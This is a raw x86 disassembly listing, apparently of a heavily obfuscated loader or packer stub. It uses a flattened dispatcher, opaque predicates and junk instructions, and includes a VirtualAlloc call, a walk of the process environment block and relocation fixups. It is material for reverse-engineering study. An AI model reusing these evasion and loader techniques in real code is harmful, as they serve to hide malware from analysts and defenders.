setl byte [ebp - 0x95]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x400820c
mov esi, edx
and esi, 0x1c669c0
and edx, 0x2a41abaa
or eax, esi
mov esi, eax
xor esi, 0x400800c
xor eax, 0xfbff7df3
mov edi, eax
and edi, 0xe2b77ef2
and esi, 0x540810c
or esi, edi
mov edi, ecx
xor edi, 0x5c6ebcc
and edi, ecx
and ecx, 0xd5be5455
mov ebx, edi
not ebx
and edi, 0x1d48810d
or ecx, edx
or eax, ebx
and ebx, 0xe2b77ef2
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x5c6ebcd
and esi, 0xfa391432
or eax, esi
mov esi, 0x89c4bbe2
mov edi, eax
not edi
mov edx, eax
and edx, 0x5a1a13ef
and edi, 0xa5e5ec10
or edi, edx
mov edx, ecx
xor edx, 0x85a44410
xor ecx, 0x2a41abaa
or eax, ecx
and ecx, 0x5a1a13ef
and edx, 0xa5e5ec10
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdac7a7ab
and ecx, 0x25385854
or eax, ecx
xor eax, 0xdac7a7ab
setne cl
sete ah
cmp dword [0x460980], 0xa
mov edx, ecx
setl ch
setge al
or cl, ch
and dl, al
and ch, ah
or ch, dl
mov dl, ch
xor dl, al
or al, ah
mov ah, cl
and dl, ch
xor ah, al
or al, cl
mov ecx, edx
xor al, 1
xor cl, 1
or al, ah
mov ah, cl
mov ch, al
and ah, dl
xor ch, 1
xor ah, 1
or ah, dl
mov dl, ch
xor ah, 1
and dl, al
or ah, cl
or cl, ch
xor ch, dl
xor dl, 1
or dl, al
mov al, cl
xor dl, 1
or dl, ch
xor dl, ah
xor al, dl
test al, 1
mov eax, 0xbe5000ae
cmovne esi, eax
test cl, 1
mov eax, 0x89c4bbe2
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x402260
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xa8]
mov eax, 0x358bc6c6
jmp 0x402260
mov eax, 0xa6e1433c
jmp 0x402260
mov eax, 0xcabc9eef
jmp 0x402260
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x194], eax
mov eax, 0x5a931c68
jmp 0x402260
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x104], eax
mov eax, 0xc67671d3
jmp 0x402260
mov eax, dword [ebp - 0x5c]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xc9b32f6
mov esi, eax
and esi, 0xf364cd09
and eax, 0x4322f968
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xf364cd08
and esi, 0xc9b32f7
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4cc62371
and esi, 0xb339dc8e
or ecx, esi
mov esi, ecx
xor esi, 0x40022160
xor ecx, 0xb339dc8e
mov edi, ecx
or ecx, edx
and edx, 0xbcdd0697
and edi, 0xbcdd0697
and esi, 0x4322f968
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0x871e1655
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x460980], 0xa
setl cl
mov al, cl
xor dl, cl
or cl, ah
xor dl, 1
xor cl, 1
xor al, ah
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
xor cl, ah
and ah, al
and cl, al
xor al, 1
and dl, al
mov al, cl
or ah, dl
mov edx, 0x6f6b63a2
xor al, ah
cmovne edx, esi
test ah, ah
mov eax, edx
cmovne eax, esi
jmp 0x40f842
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb95b5b04
mov esi, ecx
and esi, 0x46a4a4fb
mov edi, ecx
or edi, 0x200130
and ecx, 0xc8eed2a9
or edx, esi
and edi, 0x7e501fd
mov esi, edx
xor edx, 0x200030
xor esi, 0xa0100200
or edx, 0x7c500cd
and esi, 0xe010a200
and edx, 0x7e501fd
or esi, edx
mov edx, eax
and edx, 0x180a5c02
and eax, 0x37112d56
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x374a4e72
and esi, 0xc8b5b18d
or edx, esi
mov esi, 0x2b34c1c1
mov edi, edx
xor edi, 0x177a6802
xor edx, 0x288512bc
mov ecx, edx
and ecx, 0xc0859559
and edi, 0x3f7a6aa6
or edi, ecx
mov ecx, eax
xor ecx, 0x37102806
xor eax, 0xc0849009
and eax, 0xc0859559
and ecx, 0x3f7a6aa6
or ecx, eax
xor ecx, edi
mov edi, 0xf049f6ec
xor edx, ecx
test edx, ecx
sete al
setne dl
cmp dword [0x460980], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
mov cl, dh
xor cl, ah
mov ah, dl
xor ah, al
or al, dl
and cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
or dl, ah
and ah, cl
or ah, al
mov ecx, edx
xor cl, ah
test ah, ah
mov eax, 0xf049f6ec
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x402260
mov eax, dword [ebp - 0x18]
mov eax, 0x3135ab02
jmp 0x402260
mov eax, dword [ebp - 0xa8]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xdc137e48
mov edi, edx
mov esi, eax
and esi, 0xab211937
and edi, 0xcc8080
and edx, 0xed24eb9e
or edi, esi
mov esi, ecx
xor esi, 0x23ec81b7
and esi, ecx
and ecx, 0x12db1461
mov ebx, esi
not ebx
and esi, 0x54dee6c8
or ecx, edx
or eax, ebx
and ebx, 0xab211937
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x23ec81b6
and esi, 0xdc137e49
or eax, esi
mov esi, 0x2e53e5a2
mov edi, eax
not edi
mov edx, eax
and edx, 0x433f00a0
and edi, 0xbcc0ff5f
or edi, edx
mov edx, ecx
xor edx, 0x10c01441
xor ecx, 0xed24eb9e
or eax, ecx
and ecx, 0x433f00a0
and edx, 0xbcc0ff5f
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x520985d
and ecx, 0xfadf67a2
or eax, ecx
xor eax, 0x520985d
setne dl
sete ah
cmp dword [0x460980], 0xa
setl al
setge cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7e763be3
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x7e763be3
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x30080811
mov esi, ecx
xor esi, 0x723b1c3b
mov edx, eax
and edx, 0x4233142a
and esi, ecx
and eax, 0x60e7609b
or edi, edx
xor edi, 0x30080811
or esi, edi
mov edx, esi
not edx
and esi, 0x111ace5f
and edx, 0xeee531a0
or esi, edx
mov edx, esi
xor edx, 0x4101c265
xor esi, 0x90002008
and esi, 0xb2203008
and edx, 0x4ddfcff7
or edx, esi
mov esi, edx
xor esi, 0x40c74093
xor edx, 0xb2203008
mov edi, edx
or edx, ecx
and ecx, 0x9f189f64
and edi, 0x9f189f64
and esi, 0x60e7609b
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xb3fa1f1d
or edx, eax
xor edx, 0xffffffff
setne dl
sete cl
cmp dword [0x460980], 0xa
mov dh, dl
setl ah
setge ch
mov al, ah
or dl, ah
and dh, ch
and al, cl
xor cl, ah
and cl, ah
mov ah, dl
or al, dh
xor cl, 1
xor al, 1
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
or cl, ah
mov ah, cl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xdee57225
cmovne ecx, esi
test al, 1
mov eax, 0xdee57225
jmp 0x402252
push 4
push 0x3000
push dword [ebp - 0xf0]
push dword [ebp - 0x13c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0xa3975b61
jmp 0x402260
mov eax, 0x49163f3e
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, 0x1b2710be
jmp 0x402260
mov eax, 0xaa873999
jmp 0x402260
mov eax, dword [ebp - 0x78]
mov eax, 0x23f8df08
jmp 0x402260
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov eax, 0x54b2e857
jmp 0x402260
mov eax, 0xb80f78af
jmp 0x402260
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov edx, ecx
not edx
and ecx, 0xea
and edx, 0xffffff15
or edx, ecx
mov edi, edx
mov ebx, edx
xor edi, 0xa8
xor ebx, 0xffffff15
xor edx, 2
mov ecx, ebx
and ecx, 0xffffec56
and edi, 0x13a9
or ebx, 0xec
and edx, 0xffffb213
or edi, ecx
and ebx, 0x8ec
mov ecx, edi
xor ecx, 0xffffec56
xor edi, 0x100
or edx, ebx
mov esi, ecx
or esi, 0x800
and edi, 0x4500
and ecx, 0xfffff000
and esi, 0x8ec
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xffffaac3
and esi, 0x553c
or edx, esi
xor edx, 0xffffe0d0
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xffff9f39
and ecx, 0x3340
mov esi, edx
and esi, 0x60c6
or edx, 0x25
or edi, esi
and edx, 0xffff8c25
mov esi, edi
xor edi, 4
xor esi, 0x18
or ecx, edx
or edi, 0xffff8c00
and esi, 0x409a
and edi, 0xffff8c25
or esi, edi
xor ecx, esi
mov esi, 0xc3d1a861
mov edx, ecx
not edx
and ecx, 0xffffc4f0
and edx, 0x3b0f
or ecx, edx
mov edx, ecx
xor edx, 0xffff8405
xor ecx, 0x3b30
and ecx, 0x3b7a
and edx, 0xffffc485
or edx, ecx
mov ecx, edx
xor ecx, 0x4081
xor edx, 0x3940
and edx, 0xffffbd44
and ecx, 0x42bb
or ecx, edx
xor ecx, 0x42bb
movzx ecx, cx
mov edx, dword [eax + ecx]
add edx, dword [ebp - 0x30]
mov dword [eax + ecx], edx
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xbb7965b2
mov eax, ecx
and eax, 0x190041b0
and edx, ecx
not ecx
and ecx, 0xa2792402
or eax, ecx
xor eax, 0x190041b0
or eax, edx
not edx
and edx, 0x44869a4d
and eax, 0xbb7965b2
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xcc42515d
andn eax, eax, eax
and edx, 0x33bdaea2
or ecx, edx
xor ecx, 0xcc42515d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x825b08b1
and ecx, 0x7da4f74e
or ecx, eax
xor ecx, 0x7da4f74e
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
setl al
or cl, dl
or ah, al
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor al, dl
or ah, dl
or cl, ch
xor ah, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe539d5e9
jmp 0x410b1b
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x44]
vmovsd xmm0, qword [eax + 0x28]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
add eax, 0x50
mov dword [ebp - 0xec], eax
mov eax, 0xdf3a4956
jmp 0x402260
mov eax, 0x1898168d
jmp 0x402260
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x138]
mov edi, 0x37a33c45
mov dword [eax], ecx
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x455d99d
mov edx, eax
and edx, 0x31bb4914
andn ecx, eax, ecx
not eax
and eax, 0xce44b6eb
or eax, edx
mov edx, eax
mov esi, eax
xor edx, 0xce44b6eb
xor esi, 0xca116f76
xor eax, 0x30134810
and esi, edx
and eax, 0xb853fab1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xfbaa2663
and esi, 0x455d99c
or ecx, esi
mov esi, edx
and esi, 0x47ac054e
and edx, 1
or esi, eax
mov eax, esi
xor eax, 0x884072a0
xor esi, 0x4780050e
or edx, eax
mov eax, ecx
and esi, 0x77938d1e
not eax
and ecx, 0xfde5d963
and edx, 0x886c72e1
or edx, esi
mov esi, eax
and esi, 0x21a269c
or ecx, esi
mov esi, edx
xor esi, 0x88645061
xor edx, 0x77938d1e
or eax, edx
and edx, 0x21a269c
and esi, 0xfde5d963
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x2270e2ec
mov edx, eax
not edx
and ecx, eax
or eax, 0xdd8f1d13
and edx, 0x2030c2a0
mov esi, eax
and esi, 0x47cb315d
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb834cea2
or eax, esi
and esi, 0x47cb315d
or ecx, esi
not eax
mov esi, 0xa1aff802
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3869c8bf
and ecx, 0xc7963740
or eax, ecx
mov ecx, eax
xor ecx, 0x2180010
xor eax, 0xa0049588
and ecx, 0x47fa4034
and eax, 0xb805bfcb
or eax, ecx
xor eax, 0xb805bfcb
sete ah
setne dl
cmp dword [0x460980], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x37a33c45
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x84]
mov eax, 0xbed3c137
jmp 0x402260
mov eax, dword [ebp - 0x18]
mov eax, 0x9ce693d7
jmp 0x402260
mov eax, 0xc7098d25
jmp 0x402260
mov dword [ebp - 0xe8], 0
mov eax, 0x5bae70e2
jmp 0x402260
mov eax, 0x8253d0a0
jmp 0x402260
mov eax, 0xa7c85947
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x10950174
mov esi, edx
and esi, 0xef6afe8a
and edx, 0x2fd73fb1
or ecx, esi
mov esi, ecx
xor esi, 0x150134
xor ecx, 0xef6afe8b
mov edi, ecx
and edi, 0xfec2d2c9
and esi, 0x13d2d36
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xd028c04e
mov ebx, edi
not ebx
and edi, 0x13d2d36
or eax, edx
or ecx, ebx
and ebx, 0xfec2d2c9
mov edx, eax
xor edx, 0xd028c04e
xor eax, 0x2fd73fb1
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x1e23d22e
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete dl
setne al
cmp dword [0x460980], 0xa
setl cl
setge ah
and cl, dl
mov edx, eax
xor al, ah
and dl, ah
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
and al, cl
xor cl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov eax, 0x1e23d22e
mov cl, ch
xor cl, dl
test dl, dl
mov edx, 0x49163f3e
cmovne eax, edx
test ch, 1
cmove eax, esi
jmp 0x411a1c
mov eax, dword [0x460984]
mov esi, 0x51565b91
mov edi, 0xdbad5eb0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2e9721c8
mov edx, eax
and edx, 0xd168de37
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xbfd73ad
and edx, 0xf4028c52
or ecx, edx
mov edx, ecx
xor edx, 0xd810840a
xor ecx, 0x206a4204
and ecx, 0x22ef6b95
and edx, 0xdd10946a
or edx, ecx
xor edx, 0xdd10946a
or edx, eax
xor edx, 0xffffffff
sete ch
setne ah
cmp dword [0x460980], 0xa
mov cl, ch
mov dh, ah
setge al
setl dl
xor cl, dl
and ah, dl
and al, ch
or dh, dl
and cl, dl
or al, ah
or dl, ch
xor cl, 1
xor al, 1
mov ah, dl
mov ebx, ecx
or cl, dh
xor ah, al
or al, dl
not al
xor bl, dh
xor cl, 1
mov edx, 0xdbad5eb0
or cl, bl
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
cmove edi, edx
mov eax, edi
jmp 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x112b4bee
and edx, 0xeed4b411
or eax, edx
mov edx, eax
xor edx, 0x102e0
xor eax, 0xeed4b411
mov esi, eax
and esi, 0xf1aaed1f
and edx, 0xe5512e0
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe5512e0
or eax, esi
and esi, 0xf1aaed1f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xaed9ff2a
and eax, 0xb54e1b62
and ecx, 0x512600d5
or edx, ecx
mov ecx, edx
xor ecx, 0xaed9ff2a
xor edx, 0x41020014
mov esi, ecx
and esi, 0x4ab1e49d
and edx, 0x6d8a301c
or eax, esi
mov esi, eax
not esi
and eax, 0xb9e02614
and esi, 0x461fd9eb
or eax, esi
mov esi, ecx
and esi, 0x9275cfe3
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x13500208
xor eax, 0xcae3d77
xor esi, 0x6d8a301d
and edx, 0x1ffc2a59
or ecx, esi
mov esi, eax
and esi, 0xe003d5a6
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0xe003d5a6
and esi, 0x1ffc2a59
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0xe9760c9f
mov ecx, eax
not ecx
and eax, 0x7a6c7852
and ecx, 0x859387ad
or ecx, eax
mov eax, ecx
xor eax, 0x7a445810
xor ecx, 0x81130309
and ecx, 0x813b234b
and eax, 0x7ec4dcb4
or eax, ecx
mov ecx, eax
xor ecx, 0x70001090
xor eax, 0x81030343
and eax, 0x8fc7cf67
and ecx, 0x70383098
or ecx, eax
mov eax, ecx
xor eax, 0xf048126
xor ecx, 0x60100090
and ecx, 0xe0d34ed1
and eax, 0x1f2cb12e
or eax, ecx
xor eax, 0x1f2cb12e
setne dl
sete ah
cmp dword [0x460980], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
and cl, ch
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
mov ch, al
or al, cl
xor cl, 1
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x69752377
cmovne eax, esi
test dl, 1
mov edx, 0x69752377
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
mov eax, dword [ebp - 0xdc]
mov ecx, 0x3914e94f
cmp eax, 0xc
mov eax, 0x42b9b0b9
cmove eax, ecx
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xed98cd38
mov esi, edx
and esi, 0x126732c6
and edx, 0xf242ee23
or esi, ecx
mov ecx, eax
or ecx, 0xed98cd38
and eax, 0xdbd11dc
and ecx, 0xed98cd39
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x2c8d0ff3
mov esi, edx
and esi, 0xd372f00c
or ecx, esi
mov esi, eax
xor esi, 0xc8d01d0
xor eax, 0xd242e000
and eax, 0xd372f00c
and esi, 0x2c8d0ff3
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x6652b5fb
sete dl
setne al
cmp dword [0x460980], 0xa
setge cl
setl ah
mov ch, cl
and ah, al
xor ch, al
or al, cl
and al, ch
mov ch, cl
xor ch, dl
and ch, cl
and cl, dl
mov dl, ch
or cl, ah
xor ch, cl
xor dl, 1
xor cl, 1
or cl, dl
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd81cd233
cmovne ecx, esi
test al, 1
mov eax, 0xd81cd233
jmp 0x402252
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x114]
mov eax, 0x4eba4f66
jmp 0x402260
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x84]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x6bb75f54
mov edx, eax
and edx, 0x2a41950
and ecx, eax
not eax
and eax, 0x69134604
or edx, eax
xor edx, 0x2a41950
or edx, ecx
not ecx
and ecx, 0x9448a0ab
and edx, 0x6bb75f54
or edx, ecx
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xba34d2f7
and edx, 0xf7b1fc05
mov esi, ecx
and esi, 0x45cb2d08
mov edi, ecx
and edi, 0x84e03fa
and ecx, 1
or eax, esi
or edi, edx
mov esi, eax
not esi
and eax, 0x6f5f6586
mov edx, edi
xor edx, 0xf7b1fc04
xor edi, 0x84c0118
and esi, 0x90a09a79
or ecx, edx
and edi, 0xb8fc5918
or eax, esi
mov esi, 0xb937c7df
mov ebx, eax
xor ebx, 0x28944808
xor eax, 0xd56bb770
mov edx, eax
or eax, ecx
and ecx, 0x4703a6e7
and edx, 0x4703a6e7
and ebx, 0xb8fc5918
or ebx, edx
or edi, ecx
not eax
xor edi, ebx
or eax, edi
mov ecx, eax
not ecx
and eax, 0x9e2a119f
and ecx, 0x61d5ee60
or eax, ecx
mov ecx, eax
xor ecx, 0xa08018f
xor eax, 0x4114c640
and eax, 0xd536d650
and ecx, 0x2ac929af
or ecx, eax
xor ecx, 0xd536d650
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl cl
xor dl, al
xor cl, ah
and dl, al
xor al, ah
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa959d486
cmovne ecx, esi
test al, al
mov eax, 0xa959d486
jmp 0x402252
mov eax, 0xc18fd32f
jmp 0x402260
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x188], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x3f94744b
and eax, 0xc06b8bb4
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xc06b8bb4
mov edi, esi
and edi, 0x3f94744b
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x5e42621e
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x460980], 0xa
setl dl
mov ah, dl
or cl, dl
xor ah, al
xor cl, 1
xor ah, 1
or cl, ah
and ah, al
or al, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xa90def10
cmovne ecx, esi
test dl, dl
mov edx, 0xa90def10
jmp 0x410e6e
inc esi
imul esi
rcr edi, 0x8d
dec edx
inc edx
bswap esi
not esi
and esi, 0x8b
sub edx, 0x5d
rcl esi, 0xb6
inc eax
and edx, 0x1f
dec eax
neg edx
sbb edx, 0xe
and edi, 0xd5
add eax, 0x1b
dec edx
bswap edi
sbb edx, 0x43
rcr ebx, 0xa8
rol esi, 0xf2
rcr ebx, 0xd3
and esi, 0x99
rcl esi, 6
mov edx, 0x7d
or edi, 0x87
and ebx, 0xa5
neg esi
imul esi
not edx
sbb eax, 0x79
rcl eax, 0x1f
bswap edi
ror ebx, 0x34
add esi, 0x56
rcr esi, 0xdd
bswap eax
mov ebx, 0xd2
and edi, 0x26
inc esi
not edi
rcr eax, 0x48
and edi, 0x64
sub ebx, 0x88
inc ebx
dec edi
inc eax
not ebx
add eax, 0x1a
bswap eax
dec ebx
neg edi
dec edx
sub ebx, 0x9b
bswap edi
sub edx, 0xe
add esi, 0xee
and edx, 0xfe
dec esi
rol edi, 0x38
bswap esi
rcl esi, 0x96
imul edi
or ebx, 0x7c
rcl esi, 0x14
add ebx, 0x65
mov edi, 0x14
sbb ebx, 0x34
rol esi, 0x62
neg edx
dec eax
neg ebx
neg esi
rcr ebx, 0x73
imul edi
mov edx, 0x84
inc esi
not ebx
imul edx
bswap eax
rol esi, 0xe2
sbb esi, 0x41
add edx, 0x2f
imul esi
dec ebx
rcl edi, 0x52
sub edx, 8
ror esi, 0x12
ror edi, 0xf0
inc ebx
bswap ebx
rcl ebx, 5
neg eax
sbb ebx, 0x8b
rcl eax, 0x44
or esi, 0xf0
rol ebx, 0x1e
sub ebx, 0xab
bswap edx
dec edx
sub eax, 0x5f
sub edi, 0x8e
rol ebx, 0xe1
inc edi
inc ebx
imul ebx
rcr edx, 0x5b
bswap edi
or edi, 0x57
neg esi
dec ebx
dec edx
sub edx, 0xdc
rcl eax, 0x22
ror edi, 0xc6
imul edi
rol edi, 0xa5
neg esi
inc eax
imul eax
rcl ebx, 0xf7
sbb edi, 0x1a
rol esi, 0xa5
not eax
not edi
and eax, 0x5d
neg esi
and edi, 0x53
bswap edx
ror eax, 0xe2
or ebx, 0x3a
mov eax, 0xbf
bswap edi
imul edx
ror edx, 0xdd
rol eax, 0xd2
mov edi, 0x46
add edi, 0x85
neg esi
not esi
not esi
not edx
and edx, 0xf1
rcr edi, 0xaa
not ebx
neg ebx
bswap esi
ror esi, 0x6c
add edi, 0x45
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x64]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x88]
mov eax, 0x6a32211a
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x28]
add eax, 0x18
mov dword [ebp - 0x150], eax
mov eax, 0x2c824da8
jmp 0x402260
mov eax, dword [ebp - 0x3c]
mov dword [eax], 4
mov eax, 0xd81cd233
jmp 0x402260
mov eax, 0xe675f973
jmp 0x402260
mov eax, dword [ebp - 0x7c]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x2d905f48
mov eax, edx
and eax, 0x268493ee
and ecx, edx
not edx
and edx, 0xd97b6c11
or eax, edx
mov edx, eax
xor eax, 0x9104c00
xor edx, 0x1308
mov esi, eax
or esi, 0x1048a034
and edx, 0x1101f08
and esi, 0x3cc8e074
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc3371f8b
or eax, esi
and esi, 0x3cc8e074
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xd26fa0b7
and eax, 0x2d905f48
or eax, ecx
mov edx, eax
xor edx, 0xf30ed9eb
mov ecx, eax
not ecx
andn esi, eax, edx
mov edx, eax
and edx, 0xcf12614
or ecx, 1
and eax, 0xfdb25c28
or edx, esi
and ecx, 0x24da3d7
mov esi, edx
not esi
or ecx, eax
and edx, 0xf30ed9ea
and esi, 0xcf12615
xor ecx, 0x24da3d7
or edx, esi
